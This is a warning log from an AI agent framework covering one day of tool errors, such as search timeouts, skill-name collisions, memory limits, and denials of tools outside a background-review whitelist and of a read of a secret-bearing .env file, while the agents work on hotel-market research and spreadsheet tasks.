{"output": "File \"\", line 18\n print(h[h[0], h[1], h[2 := 0], h[1], h[2]]\n ^\nSyntaxError: cannot use assignment expressions with literal", "exit_code": 1, "erro 2026-07-24 09:26:21,405 WARNING [20260724_092311_1cbeb3] agent.tool_executor: Tool terminal returned error (0.12s): {"output": "File \"\", line 7\n print(f\"{stt}: {hotel[\\\"ten\\\"]}\")\n ^\nSyntaxError: f-string expression part cannot include a backslash", "exit_code 2026-07-24 09:26:53,474 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (1.60s): {"output": "Traceback (most recent call last):\n File \"/root/.hermes/skills/productivity/google-workspace/scripts/google_api.py\", line 1225, in \n main()\n File \"/root/.hermes/skills/p 2026-07-24 09:29:12,201 WARNING [20260724_092311_1cbeb3] agent.tool_executor: Tool search_files returned error (0.10s): {"total_count": 0, "error": "Search failed: rg: regex parse error:\n (?:*Alma*)\n ^\nerror: repetition operator missing expression"} 2026-07-24 09:30:10,750 WARNING [20260724_092311_1cbeb3] tools.skills_tool: Skill name collision for 'research:research-critism': 2 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-24 09:30:10,751 WARNING [20260724_092311_1cbeb3] agent.tool_executor: Tool skill_view returned error (0.35s): {"success": false, "error": "Ambiguous skill name 'research:research-critism': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized 2026-07-24 09:30:12,425 WARNING [20260724_092311_1cbeb3] agent.tool_executor: Tool search_files returned error (0.00s): {"error": "Background review denied non-whitelisted tool: search_files. Only memory/skill tools are allowed."} 2026-07-24 09:30:16,492 WARNING [20260724_092311_1cbeb3] tools.skills_tool: Skill name collision for 'research:research-critism': 2 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-24 09:30:16,493 WARNING [20260724_092311_1cbeb3] agent.tool_executor: Tool skill_view returned error (0.07s): {"success": false, "error": "Ambiguous skill name 'research:research-critism': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized 2026-07-24 09:30:22,428 WARNING [20260724_092311_1cbeb3] agent.tool_executor: Tool skill_view returned error (0.00s): {"success": false, "error": "Skill name must be a relative path within the skills directory.", "hint": "Use a skill name or relative path within the skills directory."} [Tool loop warning: same_tool_ 2026-07-24 09:30:51,081 WARNING [20260724_092311_1cbeb3] tools.skills_tool: Skill name collision for 'research/research-critism': 2 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-24 09:30:51,082 WARNING [20260724_092311_1cbeb3] agent.tool_executor: Tool skill_view returned error (0.06s): {"success": false, "error": "Ambiguous skill name 'research/research-critism': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized 2026-07-24 09:30:55,070 WARNING [20260724_092311_1cbeb3] agent.tool_executor: Tool todo returned error (0.00s): {"error": "Background review denied non-whitelisted tool: todo. Only memory/skill tools are allowed."} 2026-07-24 09:33:19,380 WARNING [20260724_092311_1cbeb3] tools.skills_tool: Skill name collision for 'research/research-pipeline': 2 candidates — /root/.hermes/skills/research/research-pipeline/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-pipeline/SKILL.md 2026-07-24 09:33:19,382 WARNING [20260724_092311_1cbeb3] agent.tool_executor: Tool skill_view returned error (0.22s): {"success": false, "error": "Ambiguous skill name 'research/research-pipeline': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorize 2026-07-24 09:54:30,628 WARNING plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-24 09:54:30,704 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (13.83s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-24 10:00:44,656 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_manage returned error (0.04s): {"success": false, "error": "Refusing background curator patch for skill 'tourism-accommodation-database-update': the current SKILL.md content has not been loaded in this review turn. Call skill_view( 2026-07-24 10:07:33,214 WARNING [cron_22df2c51a45d_20260724_100629] agent.tool_executor: Tool read_file returned error (0.00s): {"error": "Access denied: /root/.config/paper-search-mcp/.env is a secret-bearing environment file and cannot be read to prevent credential leakage. If you need to check the file structure, read .env. 2026-07-24 10:14:52,376 WARNING [20260721_060236_7c97850b] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-24 10:14:52,377 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (12.72s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-24 10:15:07,780 WARNING [20260721_060236_7c97850b] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-24 10:15:07,782 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (12.73s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-24 10:15:50,732 WARNING [20260721_060236_7c97850b] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-24 10:15:50,733 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (12.86s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-24 10:16:24,859 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool memory returned error (0.00s): {"success": false, "error": "After applying all 4 operations, memory would be at 2,262/2,200 chars -- over the limit. Remove or shorten more entries in the same batch (see current_entries below), then 2026-07-24 10:58:03,008 WARNING [20260721_060236_7c97850b] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-24 10:58:03,010 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (12.67s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-24 11:06:16,935 WARNING [20260721_060236_7c97850b] plugins.web.ddgs.provider: DDGS search error: RemoteProtocolError: RemoteProtocolError('Server disconnected') 2026-07-24 11:06:16,959 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (3.50s): { "success": false, "error": "DuckDuckGo search failed: RemoteProtocolError: RemoteProtocolError('Server disconnected')" } 2026-07-24 11:09:04,648 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_manage returned error (0.16s): {"success": false, "error": "Found 2 matches for old_string. Provide more context to make it unique, or use replace_all=True.", "file_preview": "---\nname: tourism-accommodation-database-update\ndescr 2026-07-24 11:22:41,331 WARNING [20260721_060236_7c97850b] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-24 11:22:41,335 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (13.03s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-24 11:29:01,470 WARNING [20260721_060236_7c97850b] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-24 11:29:01,471 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (13.00s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-24 11:29:20,742 WARNING [20260721_060236_7c97850b] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-24 11:29:20,743 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (13.03s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-24 11:47:11,482 ERROR [20260721_060236_7c97850b] tools.mcp_tool: MCP paper-search-mcp/read_resource failed: Unknown resource: https://notebooklm.google.com/notebook/cdcc2614-c5cf-4a37-8aa7-34e3f26a3a36?hl=vi 2026-07-24 11:47:11,487 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool mcp__paper_search_mcp__read_resource returned error (0.22s): {"error": "MCP call failed: McpError: Unknown resource: https://notebooklm.google.com/notebook/cdcc2614-c5cf-4a37-8aa7-34e3f26a3a36?hl=vi"} 2026-07-24 13:43:47,504 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool execute_code returned error (0.16s): {"status": "error", "output": "\n--- stderr ---\nTraceback (most recent call last):\n File \"/tmp/hermes_sandbox_0pqr_of3/script.py\", line 3, in \n res_f = service.spreadsheets().get(spre 2026-07-24 13:57:36,940 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 13:57:37,081 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 13:57:37,085 WARNING [20260724_135525_0ed91f] agent.tool_executor: Tool web_search returned error (6.88s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 13:57:37,109 WARNING [20260724_135525_0ed91f] agent.tool_executor: Tool web_search returned error (6.74s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 13:58:00,833 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 13:58:00,847 WARNING [20260724_135525_0ed91f] agent.tool_executor: Tool web_search returned error (7.67s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 13:58:19,777 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 13:58:19,785 WARNING [20260724_135525_0ed91f] agent.tool_executor: Tool web_search returned error (6.96s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 13:58:31,025 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 13:58:31,152 WARNING [20260724_135525_d17065] agent.tool_executor: Tool web_search returned error (6.56s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 13:59:08,370 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 13:59:08,373 WARNING [20260724_135525_0ed91f] agent.tool_executor: Tool web_search returned error (6.34s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 13:59:39,418 WARNING [20260724_135525_0ed91f] tools.skills_tool: Skill name collision for 'research': 5 candidates — /root/.hermes/skills/research/SKILL.md; /root/.hermes/skills/research-codex-en/research/SKILL.md; /root/.hermes/skills/research-en/research/SKILL.md; /root/.hermes/skills/research-zh/research/SKILL.md; /opt/ai-os/products/ceo/skills/research/SKILL.md 2026-07-24 13:59:39,419 WARNING [20260724_135525_0ed91f] agent.tool_executor: Tool skill_view returned error (0.09s): {"success": false, "error": "Ambiguous skill name 'research': 5 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", "matches 2026-07-24 14:01:46,079 WARNING [20260724_135525_0ed91f] agent.tool_executor: Tool skill_view returned error (0.00s): {"success": false, "error": "Skill name must be a relative path within the skills directory.", "hint": "Use a skill name or relative path within the skills directory."} 2026-07-24 14:03:09,287 WARNING [20260724_135525_0ed91f] agent.tool_executor: Tool skill_manage returned error (0.05s): {"success": false, "error": "Refusing background curator patch for skill 'research-and-innovation': the skill lives in skills.external_dirs, which are externally owned and read-only to autonomous cura 2026-07-24 14:05:47,106 WARNING [20260724_135525_d17065] agent.tool_executor: Tool skill_manage returned error (0.06s): {"success": false, "error": "Refusing background curator patch for skill 'hotel-market-benchmarking': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SK 2026-07-24 14:07:54,799 WARNING [20260724_140721_b1f742aa] agent.tool_executor: Tool web_extract returned error (0.03s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-24 14:09:29,866 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool execute_code returned error (16.76s): {"status": "error", "output": "\n--- stderr ---\nTraceback (most recent call last):\n File \"/tmp/hermes_sandbox_xf4ufj6b/script.py\", line 35, in \n print(f, \"|\", datetime.datetime.from 2026-07-24 14:10:23,085 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool execute_code returned error (0.16s): {"status": "error", "output": "\n--- stderr ---\nTraceback (most recent call last):\n File \"/tmp/hermes_sandbox_qo8mxs1u/script.py\", line 6, in \n c.execute(\"SELECT role, content FROM m 2026-07-24 14:11:44,350 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool execute_code returned error (0.11s): {"status": "error", "output": "\n--- stderr ---\nTraceback (most recent call last):\n File \"/tmp/hermes_sandbox_bxjak_y1/script.py\", line 2, in \n for r_id, role, content in rows[:150]:\ 2026-07-24 14:11:47,648 WARNING [20260724_140721_b1f742aa] agent.tool_executor: Tool terminal returned error (3.45s): {"output": "batchexecute failure rpc=AtySUc err=frame_missing\n{\n \"success\": false,\n \"data_source\": \"google_hotels\",\n \"search_type\": \"details\",\n \"error\": {\n \"type\": \"network 2026-07-24 14:12:56,886 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool execute_code returned error (0.11s): {"status": "error", "output": "\n--- stderr ---\nTraceback (most recent call last):\n File \"/tmp/hermes_sandbox_mj8tg_bz/script.py\", line 3, in \n lengths = [len(r[2]) for r in rows if r 2026-07-24 14:13:01,123 WARNING [20260724_140721_b1f742aa] agent.tool_executor: Tool terminal returned error (3.64s): {"output": "╭───────────────────── Traceback (most recent call last) ──────────────────────╮\n│ /usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/stays/cli/comm │\n│ ands/details.py:51 in 2026-07-24 14:13:02,907 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool execute_code returned error (0.17s): {"status": "error", "output": "\n--- stderr ---\nTraceback (most recent call last):\n File \"/tmp/hermes_sandbox_zxn909sq/script.py\", line 5, in \n c.execute(\"SELECT id, role, content FR 2026-07-24 14:13:07,394 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool execute_code returned error (0.14s): {"status": "error", "output": "\n--- stderr ---\nTraceback (most recent call last):\n File \"/tmp/hermes_sandbox__wsdtk1o/script.py\", line 4, in \n c.execute(\"SELECT id, role, content FR 2026-07-24 14:13:13,178 WARNING [20260724_140721_b1f742aa] agent.tool_executor: Tool terminal returned error (3.43s): {"output": "Usage: stays enrich [OPTIONS] {query}\nTry 'stays enrich -h' for help.\n╭─ Error ──────────────────────────────────────────────────────────────────────╮\n│ No such option: --check-hotels ( 2026-07-24 14:13:25,238 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool execute_code returned error (0.11s): {"status": "error", "output": "\n--- stderr ---\nTraceback (most recent call last):\n File \"/tmp/hermes_sandbox_hce2el76/script.py\", line 3, in \n res = web_search('site:c9hotelworks.com 2026-07-24 14:13:40,023 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool execute_code returned error (0.11s): {"status": "error", "output": "\n--- stderr ---\nTraceback (most recent call last):\n File \"/tmp/hermes_sandbox_ckaxec3a/script.py\", line 4, in \n c.execute(\"SELECT content FROM message 2026-07-24 14:13:46,610 WARNING [20260724_140721_b1f742aa] agent.tool_executor: Tool skill_manage returned error (0.13s): {"success": false, "error": "Could not find a match for old_string in the file\n\nDid you mean one of these sections?\n 4| category: research\n 5| ---\n 6| # Quy trình Cập nhật và Xây dựng Cơ sở 2026-07-24 14:15:21,712 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool execute_code returned error (0.11s): {"status": "error", "output": "\n--- stderr ---\nTraceback (most recent call last):\n File \"/tmp/hermes_sandbox_u3baumgt/script.py\", line 4, in \n res_dn = web_search('\"Đà Nẵng\" \"phòn 2026-07-24 14:15:24,006 WARNING [20260724_140721_b1f742aa] agent.tool_executor: Tool read_file returned error (0.00s): {"error": "Background review denied non-whitelisted tool: read_file. Only memory/skill tools are allowed."} 2026-07-24 14:15:42,348 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool execute_code returned error (0.11s): {"status": "error", "output": "\n--- stderr ---\nTraceback (most recent call last):\n File \"/tmp/hermes_sandbox__ct6vz2y/script.py\", line 3, in \n res_pk_pct = web_search('\"Phuket\" \"l 2026-07-24 14:16:09,031 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool execute_code returned error (0.51s): {"status": "error", "output": "\n--- stderr ---\nTraceback (most recent call last):\n File \"/tmp/hermes_sandbox_ky4df6gu/script.py\", line 13, in \n creds_data = json.load(f)\n 2026-07-24 14:16:42,963 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool execute_code returned error (0.12s): {"status": "error", "output": "\n--- stderr ---\nTraceback (most recent call last):\n File \"/tmp/hermes_sandbox_y0k22yy6/script.py\", line 2, in \n metadata = service.spreadsheets().get(s 2026-07-24 14:16:43,289 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool execute_code returned error (0.00s): {"error": "Background review denied non-whitelisted tool: execute_code. Only memory/skill tools are allowed."} 2026-07-24 14:27:02,069 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (0.81s): {"output": "usage: hermes kanban show [-h] [--json] [--state-type {status,outcome}]\n [--state-name VALUE]\n task_id\nhermes kanban show: error: the f 2026-07-24 14:27:16,760 WARNING [20260721_060236_7c97850b] tools.skills_tool: Skill name collision for 'research-critism': 3 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-24 14:27:16,762 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_view returned error (0.23s): {"success": false, "error": "Ambiguous skill name 'research-critism': 3 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-07-24 14:27:19,067 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_view returned error (0.00s): {"success": false, "error": "Skill name must be a relative path within the skills directory.", "hint": "Use a skill name or relative path within the skills directory."} 2026-07-24 14:27:23,509 WARNING [20260721_060236_7c97850b] tools.skills_tool: Skill name collision for 'research/research-critism': 2 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-24 14:27:23,510 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_view returned error (0.11s): {"success": false, "error": "Ambiguous skill name 'research/research-critism': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized 2026-07-24 14:27:49,382 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool execute_code returned error (0.11s): {"status": "error", "output": "\n--- stderr ---\nTraceback (most recent call last):\n File \"/tmp/hermes_sandbox_2_b9zje4/script.py\", line 5, in \n res_hn_keys = web_search('\"Hainan\" \" 2026-07-24 14:27:51,058 WARNING [20260724_140721_b1f742aa] agent.tool_executor: Tool terminal returned error (0.80s): {"output": "usage: hermes mcp [-h] [--accept-hooks]\n {serve,add,remove,rm,list,ls,test,configure,config,login,reauth,picker,catalog,install}\n ...\nhermes mcp: error 2026-07-24 14:29:20,091 WARNING [20260721_060236_7c97850b] agent.conversation_loop: API call failed (attempt 1/3) error_type=APIConnectionError thread=hermes-gateway_0:131962749556416 provider=custom base_url=http://localhost:20128/v1 model=default summary=Connection error. 2026-07-24 14:29:20,093 WARNING [20260721_060236_7c97850b] agent.conversation_loop: Retrying API call in 2.3649669143588223s (attempt 1/3) thread=hermes-gateway_0:131962749556416 provider=custom base_url=http://localhost:20128/v1 model=default policy=default error=Connection error. 2026-07-24 14:29:20,095 WARNING [20260724_140721_b1f742aa] agent.conversation_loop: API call failed (attempt 1/3) error_type=APIConnectionError thread=hermes-gateway_1:131961387480768 provider=custom base_url=http://localhost:20128/v1 model=default summary=Connection error. 2026-07-24 14:29:20,096 WARNING [20260724_140721_b1f742aa] agent.conversation_loop: Retrying API call in 2.3373802641040524s (attempt 1/3) thread=hermes-gateway_1:131961387480768 provider=custom base_url=http://localhost:20128/v1 model=default policy=default error=Connection error. 2026-07-24 14:29:22,701 WARNING [20260724_140721_b1f742aa] agent.conversation_loop: API call failed (attempt 2/3) error_type=APIConnectionError thread=hermes-gateway_1:131961387480768 provider=custom base_url=http://localhost:20128/v1 model=default summary=Connection error. 2026-07-24 14:29:22,708 WARNING [20260724_140721_b1f742aa] agent.conversation_loop: Retrying API call in 4.828799307300819s (attempt 2/3) thread=hermes-gateway_1:131961387480768 provider=custom base_url=http://localhost:20128/v1 model=default policy=default error=Connection error. 2026-07-24 14:29:22,780 WARNING [20260721_060236_7c97850b] agent.conversation_loop: API call failed (attempt 2/3) error_type=APIConnectionError thread=hermes-gateway_0:131962749556416 provider=custom base_url=http://localhost:20128/v1 model=default summary=Connection error. 2026-07-24 14:29:22,785 WARNING [20260721_060236_7c97850b] agent.conversation_loop: Retrying API call in 5.6119182739637665s (attempt 2/3) thread=hermes-gateway_0:131962749556416 provider=custom base_url=http://localhost:20128/v1 model=default policy=default error=Connection error. 2026-07-24 14:30:01,075 WARNING [20260724_140721_b1f742aa] agent.tool_executor: Tool skill_manage returned error (0.55s): {"success": false, "error": "Refusing background curator patch for skill 'tourism-accommodation-database-update': the current references/google_hotels_stays_guide.md content has not been loaded in thi 2026-07-24 14:30:32,313 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool memory returned error (0.03s): {"success": false, "error": "Memory at 1,970/2,200 chars. Adding this entry (372 chars) would exceed the limit. Consolidate now: use 'replace' to merge overlapping entries into shorter ones or 'remove 2026-07-24 14:30:49,558 WARNING [20260724_143009_56e8db] agent.tool_executor: Tool terminal returned error (0.07s): {"output": "Error: in prepare, no such table: boards", "exit_code": 1, "error": null} 2026-07-24 14:35:02,364 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (3.55s): {"output": "Usage: stays details [OPTIONS] {entity_key}\nTry 'stays details -h' for help.\n╭─ Error ──────────────────────────────────────────────────────────────────────╮\n│ Missing option '--check-i 2026-07-24 14:35:11,499 WARNING [20260724_143009_56e8db] agent.tool_executor: Tool terminal returned error (0.14s): {"output": "Traceback (most recent call last):\n File \"\", line 1, in \nModuleNotFoundError: No module named 'gspread'", "exit_code": 1, "error": null} 2026-07-24 14:35:28,657 WARNING [20260724_143009_56e8db] agent.tool_executor: Tool terminal returned error (0.79s): {"output": "usage: hermes [-h] [--version] [-z PROMPT] [--usage-file PATH] [-m MODEL]\n [--provider PROVIDER] [-t TOOLSETS] [--resume SESSION]\n [--continue [SESSION_NAME]] [ 2026-07-24 14:37:17,473 WARNING [20260724_143009_56e8db] agent.tool_executor: Tool skill_manage returned error (0.14s): {"success": false, "error": "Refusing background curator patch for skill 'tourism-accommodation-database-update': the current SKILL.md content has not been loaded in this review turn. Call skill_view( 2026-07-24 14:37:19,455 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (1.00s): {"output": "usage: hermes kanban show [-h] [--json] [--state-type {status,outcome}]\n [--state-name VALUE]\n task_id\nhermes kanban show: error: the f 2026-07-24 14:40:05,383 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (47.22s): {"output": "", "exit_code": 1, "error": null, "exit_code_meaning": "Some directories were inaccessible (partial results may still be valid)"} 2026-07-24 14:40:08,446 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (0.28s): {"output": "Traceback (most recent call last):\n File \"\", line 1, in \n File \"/usr/local/share/uv/python/cpython-3.11.15-linux-x86_64-gnu/lib/python3.11/urllib/request.py\", line 2026-07-24 14:40:46,428 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool write_file returned error (0.00s): {"error": "Background review denied non-whitelisted tool: write_file. Only memory/skill tools are allowed."} 2026-07-24 14:40:46,429 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool write_file returned error (0.00s): {"error": "Background review denied non-whitelisted tool: write_file. Only memory/skill tools are allowed."} 2026-07-24 14:40:46,430 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool write_file returned error (0.00s): {"error": "Background review denied non-whitelisted tool: write_file. Only memory/skill tools are allowed."} 2026-07-24 14:52:24,812 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (0.29s): {"output": "usage: google_api.py [-h] {gmail,calendar,drive,contacts,sheets,docs} ...\ngoogle_api.py: error: unrecognized arguments: --range", "exit_code": 2, "error": null} 2026-07-24 14:52:39,645 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (1.39s): {"output": "Traceback (most recent call last):\n File \"/root/.hermes/skills/productivity/google-workspace/scripts/google_api.py\", line 1225, in \n main()\n File \"/root/.hermes/skills/p 2026-07-24 14:52:46,402 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (0.18s): {"output": "Traceback (most recent call last):\n File \"\", line 6, in \nAttributeError: module 'google_api' has no attribute 'get_sheets_service'", "exit_code": 1, "error": null} 2026-07-24 14:53:09,951 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (0.00s): {"output": "", "exit_code": -1, "error": "Foreground command uses '&' backgrounding. Use terminal(background=true) for long-lived processes, then run health checks and tests in follow-up terminal call 2026-07-24 15:02:44,733 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_manage returned error (0.04s): {"success": false, "error": "Refusing background curator patch for skill 'hotel-market-benchmarking': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SK 2026-07-24 16:09:52,550 WARNING [cron_22df2c51a45d_20260724_160743] agent.tool_executor: Tool read_file returned error (0.00s): {"error": "Access denied: /root/.config/paper-search-mcp/.env is a secret-bearing environment file and cannot be read to prevent credential leakage. If you need to check the file structure, read .env. 2026-07-24 16:33:47,687 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool patch returned error (0.03s): {"success": false, "error": "Found 3 matches for old_string. Provide more context to make it unique, or use replace_all=True.", "_warning": "/opt/ai-os/products/ceo/kanban_server.py was last read with 2026-07-24 16:34:03,636 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool terminal returned error (0.00s): {"output": "", "exit_code": -1, "error": "Foreground command uses '&' backgrounding. Use terminal(background=true) for long-lived processes, then run health checks and tests in follow-up terminal call 2026-07-24 16:52:05,746 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_extract returned error (0.03s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-24 16:52:39,266 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool search_files returned error (0.00s): {"error": "Background review denied non-whitelisted tool: search_files. Only memory/skill tools are allowed."} 2026-07-24 16:52:57,640 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool write_file returned error (0.00s): {"error": "Background review denied non-whitelisted tool: write_file. Only memory/skill tools are allowed."} 2026-07-24 17:10:28,462 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 17:10:31,138 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 17:10:52,551 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 17:11:01,946 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 17:11:05,289 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 17:11:08,545 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 17:11:23,351 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_extract returned error (0.03s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-24 17:16:07,504 WARNING [20260721_060236_7c97850b] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 17:16:07,505 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (3.43s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 17:16:13,922 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_extract returned error (0.57s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-24 17:16:30,108 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_extract returned error (0.48s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} [Tool loop warning: same_tool 2026-07-24 17:16:53,800 WARNING [20260721_060236_7c97850b] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 17:16:53,801 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (3.46s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 17:17:18,012 WARNING [20260721_060236_7c97850b] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 17:17:18,013 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (3.47s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 17:17:24,208 WARNING [20260721_060236_7c97850b] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 17:17:24,209 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (3.69s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 17:17:51,333 WARNING [20260721_060236_7c97850b] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 17:17:51,335 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (3.74s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 17:18:04,016 WARNING [20260721_060236_7c97850b] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 17:18:04,017 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (3.56s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 17:22:50,033 WARNING 